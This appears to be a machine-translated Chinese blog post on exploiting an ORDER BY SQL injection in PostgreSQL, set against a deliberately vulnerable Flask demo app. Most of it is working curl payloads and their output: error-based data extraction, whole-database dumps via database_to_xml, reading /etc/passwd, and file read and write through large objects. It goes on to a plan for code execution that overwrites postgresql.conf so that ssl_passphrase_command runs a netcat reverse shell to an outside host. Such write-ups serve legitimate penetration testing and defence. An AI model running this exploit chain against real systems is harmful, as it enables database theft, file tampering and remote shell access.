2020年5月5日
最近的一次接触中出现了ORDER BY子句中的SQL注入错误,这导致了一个有趣的漏洞,涉及对PostgreSQL数据库利用SQLi。这篇文章详细介绍了一些冒险经历。我们将介绍一些有用的Postgres函数,这些函数使使用SQLi更加容易,一些有趣的文件读/写原语,以及以DB用户身份执行命令的路径。我为那些想要直接尝试这些东西的人提供了一些易受攻击的示例代码。
最后,我帮助了我的Pulse一位战友使用了这个注射槽(然后公司聊天中的“嘿,怎么回事”消息逐渐变成了这种情况)。数据库用户是超级用户,但是由于无法CREATE/UPDATE/INSERT/DELETE
从SELECT
查询内部执行任何语句,因此我们无法使用大多数常用文档记录的方法来进行进一步利用。解决方案?从Postgres转储所有函数定义,下载源代码并开始挖掘!Postgres中可能会有更多有趣的东西,因此我在结尾处包括了一些函数查找和挖掘注释。
错误
我已经复制了在此页面底部包含的易受攻击的Flask应用程序中遇到的问题。我喜欢复制测试代码中的问题,因此可以浏览日志,运行调试器,并对发生的事情有更大的了解。一旦发现了漏洞,就可以针对现实目标进行攻击。
在这种情况下,错误是参数中的SQL注入接收器,该参数旨在为查询的一部分提供ASC
或DESC
定义ORDER BY
。以下代码段显示了该错误:
cols = ['id','name','note','created_on']
@app.route("/")
def index():
result = "<h1> Test some stuff </h1>"
order = request.args.get("order")
sort = request.args.get("sort")
sqlquery = "select * from animals";
if order in cols:
sqlquery = sqlquery + " order by " + order
if sort:
sqlquery = sqlquery + " " + sort
cur = conn.cursor()
try:
cur.execute(sqlquery)
except psycopg2.Error as e:
conn.rollback()
return Response(e.pgerror, mimetype='text/plain')
该order
参数已根据白名单进行检查,但未进行检查sort
,这导致我们进行了注入。错误会在HTTP响应中返回,这将使漏洞利用变得更加容易(更多内容即将发布!)。通过order=id&sort=%27
,我们得到确认注射的以下信息:
:~$ curl "127.0.0.1:5000/?order=id&sort=%27"
ERROR: unterminated quoted string at or near "'"
LINE 1: select * from animals order by id '
奇妙。注意,我们发现的原始错误不允许堆栈查询,而Flask + psycopg2类似物允许。鉴于能够堆栈查询意味着我们不再局限于SELECT
语句,因此本文不会讨论利用查询堆栈,这使我们有能力将自己CREATE
和INSERT
小小的黑客放心。我将不得不对此有所怀疑。
注射ORDER BY
现在我们了解了注入点,我们需要设计一个有效载荷,可以用来将信息从数据库中拉出。让我们看一下实现此目标的两种方法,即响应差异和通过错误消息进行数据泄漏。
响应差异
该ORDER BY
子句允许您按多列排序,但要用逗号分隔它们。例如,ORDER BY id, name
将按排序id
,然后按排序name
。Postgres允许您CASE
在ORDER BY子句中使用语句,我们可以利用该语句执行查询并测试结果。我们要执行的查询如下所示:
SELECT * FROM ANIMALS ORDER BY note, (CASE WHEN (SELECT '1')='1')+THEN+note+ELSE+id::text+END)
如果该语句为true,则结果将按排序note
,然后note
排序(顺序不变)。如果语句是假的,那么结果将被责令name
然后id
。
重要的旁注。确保第一
ORDER BY
子句是并非在所有行中唯一的列,这一点很重要。意思是,它需要对至少两行使用相同的值进行排序。如果第一ORDER BY
列在每一行中都是唯一的,则Postgres将不会执行第二顺序子句!
实际上是这样的:
而当它为假时:
您可以更改该SELECT
语句以提取数据或任何数据,对其进行子字符串化处理,然后逐个字符地测试结果。这种盲注在整个网络上都有记录,因此在此不再赘述。鉴于我们有返回的错误消息,因此有一个更简单的选择。
错误信息提取
对一个SQLi接收器运行十七亿个查询非常有趣,但由于返回了错误消息,我们可以改用它。通过有目的地弄乱一个CAST
,我们可以通过错误消息获得查询结果。有效负载如下所示:
SELECT CAST(chr(32)||(SELECT pg_user) AS NUMERIC)
以及完整的注入字符串,请注意,在这种情况下,ORDER BY
参数的优先级无关紧要,CAST
无论指定有效的有效列,执行都将执行order
:
$ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20version())%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)'
ERROR: invalid input syntax for type numeric: " PostgreSQL 11.7 (Debian 11.7-0+deb10u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit"
这是有些棘手的地方,请注意当我们尝试返回多行的查询时会发生什么:
$ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20*%20FROM%20pg_user)%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)'
ERROR: subquery must return only one column
LINE 1: ...ls order by id ,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT * ...
沼泽 此时,您可以使用该LIMIT
子句,但是有一种更快的方法。这也导致了我们……
POSTGRES XML函数
Postgres包括一些方便的Dandy XML帮助器。如果我们对所有可用的Postgres函数进行grep并搜索xml
,则会得到以下信息:
xml_in
xml_out
xmlcomment
xml
xmlvalidate
xml_recv
xml_send
xmlconcat2
xmlagg
table_to_xml
query_to_xml
cursor_to_xml
table_to_xmlschema
query_to_xmlschema
cursor_to_xmlschema
table_to_xml_and_xmlschema
query_to_xml_and_xmlschema
schema_to_xml
schema_to_xmlschema
schema_to_xml_and_xmlschema
database_to_xml
database_to_xmlschema
database_to_xml_and_xmlschema
xmlexists
xml_is_well_formed
xml_is_well_formed_document
xml_is_well_formed_content
我们要看看其中两个有点接近,query_to_xml
和database_to_xml
。
QUERY_TO_XML
query_to_xml
执行查询,然后将结果作为XML对象返回。这里的好处是它将返回一行。因此,我们将其与前面讨论过的基于错误的SQLi链接在一起,嘿,请先执行任何SQL语句并检索结果,而不必担心限制或多行。首先,我们需要弄清楚如何调用它。在这种情况下,query_to_xml(query text, nulls boolean, tableforest boolean, targetns text)
。或者,作为注入有效载荷的一部分:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_user',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<usename>postgres</usename>
<usesysid>10</usesysid>
<usecreatedb>true</usecreatedb>
<usesuper>true</usesuper>
<userepl>true</userepl>
<usebypassrls>true</usebypassrls>
<passwd>********</passwd>
<valuntil xsi:nil="true"/>
<useconfig xsi:nil="true"/>
</row>
<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<usename>testuser</usename>
<usesysid>16385</usesysid>
<usecreatedb>false</usecreatedb>
<usesuper>true</usesuper>
<userepl>false</userepl>
<usebypassrls>false</usebypassrls>
<passwd>********</passwd>
<valuntil xsi:nil="true"/>
<useconfig xsi:nil="true"/>
</row>
辉煌。另外,请注意,我们正在连接的Postgres用户和超级用户一样,很快就会派上用场。
DATABASE_TO_XML
我们还可以使用xml帮助器通过单个查询转储整个数据库。
好吧,在大型数据库或任何类型的生产应用程序上,要这么合理地警告您,您可能不想这样做。但是,通过这种方式,下面是从基于错误的SQLi内部使用单个查询转储整个数据库的方法。当我们针对真实应用程序(在测试环境中!)执行此操作时,最终得到了150MB的xml文件。因此,请谨慎使用。
无论如何,您想要的是database_to_xml(true,true,'')
。看起来像这样:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20database_to_xml(true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR: invalid input syntax for type numeric: " <testdb xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<public>
<animals>
<id>1</id>
<name>dog</name>
<note>is a good dog</note>
<created_on>2020-05-04T14:40:16.909665</created_on>
</animals>
<animals>
<id>2</id>
<name>cat</name>
<note>adorable, if passive aggressive</note>
<created_on>2020-05-04T14:40:16.915896</created_on>
</animals>
<animals>
<id>3</id>
<name>fish</name>
<note>fish go blub</note>
<created_on>2020-05-04T14:40:16.918411</created_on>
</animals>
<animals>
<id>4</id>
<name>whale</name>
<note>also go blub</note>
<created_on>2020-05-04T14:40:16.920589</created_on>
</animals>
<animals>
<id>5</id>
<name>shrimp</name>
<note>also go blub</note>
<created_on>2020-05-04T14:40:16.92258</created_on>
</animals>
<animals>
<id>6</id>
<name>giraffe</name>
<note>long neck, neato spots</note>
<created_on>2020-05-04T14:40:16.924759</created_on>
</animals>
<animals>
<id>7</id>
<name>rock</name>
<note>TICKET 1143 rock is not animal</note>
<created_on>2020-05-04T14:40:16.926717</created_on>
</animals>
<secrets>
<id>1</id>
<name>some-secret</name>
<secret_info>super secret info in the db</secret_info>
</secrets>
</public>
</testdb>
"
如果您想变得更微妙,可以使用它database_to_xmlschema
来确定数据库结构,然后query_to_xml
提取所需的内容。
文件读写
由于我们的用户是超级用户,因此我们可以使用Postgres的大对象将文件读写到文件系统上的任何位置。但首先,请注意一些文件记录和目录清单方面的文献资料。
PG_LS_DIR和PG_READ_FILE的变化
pg_ls_dir
并pg_read_file
在各种Postgres SQLi速查表中进行了详细介绍。这些方法并没有允许的Postgres以前的版本绝对路径,但由于该犯的成员DEFAULT_ROLE_READ_SERVER_FILES
组和超级用户可以使用任何路径上的这些方法(检查convert_and_check_filename
中genfile.c
)。
不幸的是,现实生活中的目标应用程序是在较旧版本的Postgres上运行的,因此没有全局文件读取和目录列表。我们的演示模拟应用程序在Debian 10上,通过apt安装了Postgres 11,并以超级用户身份连接,因此没有问题:
$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_ls_dir(''/'')',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<pg_ls_dir>vmlinuz.old</pg_ls_dir>
</row>
<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<pg_ls_dir>srv</pg_ls_dir>
</row>
<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<pg_ls_dir>initrd.img.old</pg_ls_dir>
</row>
<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<pg_ls_dir>proc</pg_ls_dir>
</row>
...snip...
<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<pg_ls_dir>var</pg_ls_dir>
</row>
<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<pg_ls_dir>dev</pg_ls_dir>
</row>
$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20pg_read_file('/etc/passwd'))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR: invalid input syntax for type numeric: " root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...snip...
postgres:x:108:114:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
"
读取和写入具有大对象的文件
Postgres 大对象提供了一种存储数据以及从文件系统读取和写入内容的机制。查看我们的功能列表,我们可以看到以下方法:
lo_close
lo_creat
lo_create
lo_export
lo_from_bytea
lo_get
lo_import
lo_lseek
lo_lseek64
lo_open
lo_put
lo_tell
lo_tell64
lo_truncate
lo_truncate64
lo_unlink
我们将重点放在lo_import
与lo_export
分别读取和写入文件。数据结尾的两个表是pg_largeobject
和pg_largeobject_metadata
。这些方法在事务块内部运行,这意味着请求必须成功而不是回滚。因此,没有基于错误的SQLi,我们需要一个SQLi有效负载才能成功执行。
使用LO_IMPORT读取文件
lo_import
允许您指定文件系统路径。该文件将被读取并加载到一个大对象中,并返回该对象的OID。使用query_to_xml
,我们可以请求pg_largeobject
能够并通过XML函数将数据整齐地基于64位拉出数据。因此,要加载/etc/passwd
,我们将使用以下有效负载:
, (CASE WHEN (SELECT lo_import('/etc/passwd'))='1')+THEN+note+ELSE+id::text+END)
$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/passwd')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
<h1> Test some stuff </h1><table><th>id</th><th>name</th><th>note</th><th>created</th><tr><td>1</td><td>dog</td><td>is a good dog</td>...snip...
我们得到合法的应用程序响应,没有错误。现在/etc/passwd
文件应该在pg_largeobject
表中等待着我们:
$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<loid>16437</loid>
<pageno>0</pageno>
<data>cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91
c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmlu
L25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0
OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2Ft
ZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vz
ci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25v
bG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdz
Ong6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDox
MDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEz
OjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ct
ZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6
L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExp
c3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJj
ZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMg
QnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4v
bm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Iv
c2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4v
bm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAxOjEwMjpzeXN0ZW1kIFRpbWUgU3luY2hy
b25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5l
dHdvcms6eDoxMDI6MTAzOnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50LCwsOi9ydW4vc3lz
dGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxMDM6MTA0OnN5c3Rl
bWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2Vi
dXM6eDoxMDQ6MTEwOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KZG9pOng6MTAw
MDoxMDAwOmRvaSwsLDovaG9tZS9kb2k6L2Jpbi9iYXNoCnN5c3RlbWQtY29yZWR1bXA6eDo5
OTk6OTk5OnN5c3RlbWQgQ29yZSBEdW1wZXI6LzovdXNyL3NiaW4vbm9sb2dpbgpsaWdodGRt
Ong6MTA1OjExMjpMaWdodCBEaXNwbGF5IE1hbmFnZXI6L3Zhci9saWIvbGlnaHRkbTovYmlu
L2ZhbHNlCnNzaGQ6eDoxMDY6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgp1
c2JtdXg6eDoxMDc6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9z
YmluL25vbG9naW4KcG9zdGdyZXM6eDoxMDg6MTE0OlBvc3RncmVTUUwgYWRtaW5pc3RyYXRv
ciwsLDovdmFyL2xpYi9wb3N0Z3Jlc3FsOi9iaW4vYmFzaAo=</data>
</row>
使用LO_EXPORT写入文件
lo_export
接受一个大对象OID和一个路径,以数据库用户的身份将文件写到该路径(postgres
在我的情况下)。我将重用OID
我们在上一步中创建的大型对象来对此进行测试。有效载荷将是:
, (CASE WHEN (SELECT lo_export(16437,'/dev/shm/testing'))='1')+THEN+note+ELSE+id::text+END)
$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16437,'/dev/shm/testing')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
$ ls -l /dev/shm/
total 12
-rw------- 1 postgres postgres 6928 May 1 16:43 PostgreSQL.1150217542
-rw-r--r-- 1 postgres postgres 1601 May 4 17:53 testing
可以通过使用lo_from_bytea
创建具有指定字节数组的大对象来执行任意文件写入,例如:
select lo_from_bytea(0,'this is a test file with test bytes');
现在的问题变成“我们可以以postgres
用户身份将什么写入文件系统以实现代码执行”?数据库和Web服务器在同一主机上可能会打开某些选项,但是在这种情况下,我们有一个独立的数据库服务器。
清理大物件
可以使用select lo_unlink(OID)
命令删除大对象。运行a select * from pg_largeobject
并删除您创建的所有对象将是向您添加参与式清理和包装例程的好步骤。
命令执行-仅直接覆盖配置文件
我想到的一件事是在postgres
用户可以编写的配置文件中寻找一个选项,这将使我们指定将在某处执行的任意命令。仔细检查配置文件是否确实属于postgres
:
$ ls -l /etc/postgresql/11/main/postgresql.conf
-rw-r--r-- 1 postgres postgres 24194 May 1 16:31 /etc/postgresql/11/main/postgresql.conf
转储所有配置选项并查找command
以下内容:
testdb=# select name, short_desc from pg_settings where name like '%command%' ;
name | short_desc
----------------------------------------+-------------------------------------------------------------------
archive_command | Sets the shell command that will be called to archive a WAL file.
log_replication_commands | Logs each replication command.
ssl_passphrase_command | Command to obtain passphrases for SSL.
ssl_passphrase_command_supports_reload | Also use ssl_passphrase_command during server reload.
(4 rows)
ssl_passphrase_command
看起来充满希望,让我们在配置文件中检查一下:
# - SSL -
ssl = on
#ssl_ca_file = ''
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
#ssl_crl_file = ''
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
#ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers
#ssl_prefer_server_ciphers = on
#ssl_ecdh_curve = 'prime256v1'
#ssl_dh_params_file = ''
#ssl_passphrase_command = ''
#ssl_passphrase_command_supports_reload = off
太好了,那样做。我们可以覆盖配置文件来设置命令。这将在我们告诉postgres重新加载配置文件时执行。
“但是覆盖配置文件不具有很高的风险吗?” 是的,由您决定如何不破坏任何不应破坏的东西。也就是说,select pg_reload_conf()
如果我们的外壳无法解密私钥,则不会关闭服务器。但是,如果a systemctl restart postgres
或服务器重新启动,则数据库不会恢复。所以我们需要偷偷摸摸。
为了执行该命令,ssl_key_file
需要指向受密码保护的密钥。我们可以使用来上传自己的密钥文件lo_export
,但是在执行命令之前遇到了问题:
2020-05-04 18:30:43.485 NZST [22651] DETAIL: File must have permissions u=rw (0600) or less if owned by the database user, or permissions u=rw,g=r (0640) or less if owned by root.
2020-05-04 18:30:43.485 NZST [22651] LOG: SSL configuration was not reloaded
通过使用lo_import
(snakeoil,在debian上)下载现有的私钥,在密钥上设置密码短语并重新上传,可以解决上述两个问题。通过使用实际上返回密码的exploit命令,我们可以使偷偷摸摸翻倍,以便密钥成功解密。
此时的计划是:
lo_import
当前的配置文件和现有的私钥- 转储配置,确认我们具有正确的文件和位置
- 转储密钥,添加密码
- 使用
lo_from_bytea
和lo_put
更新配置文件以执行恶意命令,并添加经过调整的私钥 lo_export
篡改的配置和密钥回到磁盘- 执行
pg_reload_conf()
以加载新配置
让我们首先使私钥和RCE有效负载正常工作。我想在SQLi错误的范围之外解决所有问题,然后最后将所有内容串在一起。这样做的想法是,如果我对工作方式做出任何错误的假设,那么我不会尝试通过另一个漏洞进行调试。快速失败等等。
构建RCE有效负载
有效负载需要满足Postgres文档中规定的要求。基本上,它需要退出0并在stdout上返回密码。
ssl_passphrase_command(字符串)设置需要获取用于解密SSL文件(例如私钥)的密码时要调用的外部命令。默认情况下,此参数为空,这表示使用内置的提示机制。 该命令必须将密码短语打印到标准输出,并以代码0退出。在参数值中,%p将替换为提示字符串。(将%%写入文字%。)请注意,提示字符串可能包含空格,因此请务必使用足够的引号。如果存在,将从输出的末尾除去一条换行符。 该命令实际上不必提示用户输入密码。它可以从文件中读取它,也可以从钥匙串工具中获得它,或类似的东西。用户应确保所选的机制足够安全。 只能在postgresql.conf文件或服务器命令行中设置此参数。
尽管您可以上传任何类型的恶意文件lo_export
,但我还是通过使用bash达到了最终目的。ssl passphrase命令的有效负载如下:
bash -c 'test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0'
该代码检查管道是否存在,如果不存在则创建它。然后执行netcat反向外壳程序并使其成为背景。之后,我们回显密码短语并退出0。
接下来,我们需要弄清楚如何向私钥添加密码。该openssl
命令可用于将密码短语添加到现有密钥:
~/tmp$ sudo openssl rsa -aes256 -in /etc/ssl/private/ssl-cert-snakeoil.key -out ./ssl-cert-snakeoil.key
writing RSA key
Enter PEM pass phrase: passphrase
Verifying - Enter PEM pass phrase: passphrase
~/tmp$
优秀的。这是您手动更新配置文件并确保所有操作均按预期进行的部分。有一个小问题,如果当前打开了外壳并且有人尝试重新启动Postgres,则重新启动过程将Stopping PostgreSQL Cluster 11-main...
一直挂起,直到退出netcat。要记住的事情。另一个选择是对curl
您想要的任何上演者/dev/shm
执行该操作,而不是尝试在netcat的衬板中解决作业控制问题。你虽然你。
好吧,这样准备好了吗?错误:
:~$ sudo ls -l /etc/ssl/private/ssl-cert-snakeoil.key
-rw-r----- 1 root ssl-cert 1766 May 4 20:18 /etc/ssl/private/ssl-cert-snakeoil.key
该postgres
用户无法覆盖该文件,默认的umask将创建一个错误的权限的文件。很好,很好,我们只需要一个postgres
用户已经拥有并具有0600
权限的文件。应该至少有一个,对不对?
:/# find / -user postgres -type f -perm 0600 2> /dev/null | wc -l
1297
805260 8 -rw------- 1 postgres postgres 6895 May 4 20:20 /var/lib/postgresql/.psql_history
805261 4 -rw------- 1 postgres postgres 258 May 4 20:21 /var/lib/postgresql/.bash_history
这两个看起来不错,但我觉得那样会骗人,所以继续前进。
:/# ls -l /var/lib/postgresql/11/main/PG_VERSION
-rw------- 1 postgres postgres 3 May 1 16:31 /var/lib/postgresql/11/main/PG_VERSION
:/# cat /var/lib/postgresql/11/main/PG_VERSION
11
好的,看起来更好,让我们尝试将所有内容串在一起并获取我们的shell。
漏洞利用
第一步-获取配置文件
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20setting%20from%20pg_settings%20where%20name=''config_file''',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<setting>/etc/postgresql/11/main/postgresql.conf</setting>
</row>
"
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
<h1> Test some stuff </h1><table><th>id</th><th>name...snip...
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
<h1> Test some stuff </h1><table><th>id</th><th>name...snip...
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20loid%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<loid>16441</loid>
</row>
...snip...
<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<loid>16442</loid>
</row>
"
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)"
ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<loid>16441</loid>
<pageno>3</pageno>
<data>b3VuZAojYmd3cml0ZXJfZmx1c2hfYWZ0ZXIgPSA1MTJrQgkJIyBtZWFzdXJlZCBpbiBwYWdl
cywgMCBkaXNhYmxlcwoKIyAtIEFzeW5jaHJvbm91cyBCZWhhdmlvciAtCgojZWZmZWN0aXZl
X2lvX2NvbmN1cnJlbmN5ID0gMQkJIyAxLTEwMDA7IDAgZGlzYWJsZXMgcHJlZmV0Y2hpbmcK
I21heF93b3JrZXJfcHJvY2Vzc2VzID0gOAkJIyAoY2hhbmdlIHJlcXVpcmVzIHJlc3RhcnQp
CiNtYXhfcGFyYWxsZWxfbWFpbnRlbmFuY2Vfd29ya2VycyA9IDIJIyB0YWtlbiBmcm9tIG1h
eF9wYXJhbGxlbF93b3JrZXJzCiNtYXhfcGFyYWxsZWxfd29ya2Vyc19wZXJfZ2F0aGVyID0g
MgkjIHRha2VuIGZyb20gbWF4X3BhcmFsbGVsX3dvcmtlcnMKI3BhcmFsbGVsX2xlYWRlcl9w
YXJ0aWNpcGF0aW9uID0gb24KI21heF9
16441
将是我们的“干净”配置,如果我们需要快速回滚,可以将其后台处理到磁盘。16442
这就是我们要弄的东西。连接所有base64 blob并假脱机到磁盘后,我们得到了配置文件。SSL参数是我们感兴趣的:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16441''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
tee file
...snip...
:~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file |
perl -pe 's/^.*?<data>(.*?)/$1/g' |
while read i; do echo $i | base64 -d; done |
grep ssl
ssl = on
#ssl_ca_file = ''
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
#ssl_crl_file = ''
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
#ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers
#ssl_prefer_server_ciphers = on
#ssl_ecdh_curve = 'prime256v1'
#ssl_dh_params_file = ''
#ssl_passphrase_command = ''
#ssl_passphrase_command_supports_reload = on
第二步-获取私钥
接下来,我们需要获取私钥
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_import('/etc/ssl/private/ssl-cert-snakeoil.key')=%271%27)%20THEN%20name%20ELSE%20note%20END)"
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16443''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" |
tee file
...snip...
:~$ perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' < file |
perl -pe 's/^.*?<data>(.*?)/$1/g' |
while read i; do echo $i | base64 -d; done > private.key
添加密码:
:~$ openssl rsa -aes256 -in private.key -out private_passphrase.key
writing RSA key
Enter PEM pass phrase: passphrase
Verifying - Enter PEM pass phrase: passphrase
并将结果上传到大对象中。我们可以使用lo_from_bytea
创建对象,然后lo_put
追加。lo_put
返回void
,在CASE
语句中使用时会引发错误。解决方案是将其包装起来pg_typeof
,我们可以对照进行检查int
。我用一个粗略的单线将其分解,以便它可以完美GET
地适合参数:
:~$ I=0; xxd -p private_passphrase.key |
while read line
do if [ $I == 0 ]
then echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_from_bytea(43210,'\x$line')=%271%27)%20THEN%20name%20ELSE%20note%20END)\""
else echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(43210,$I,'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\""
fi ; I=$(($I+30)); done
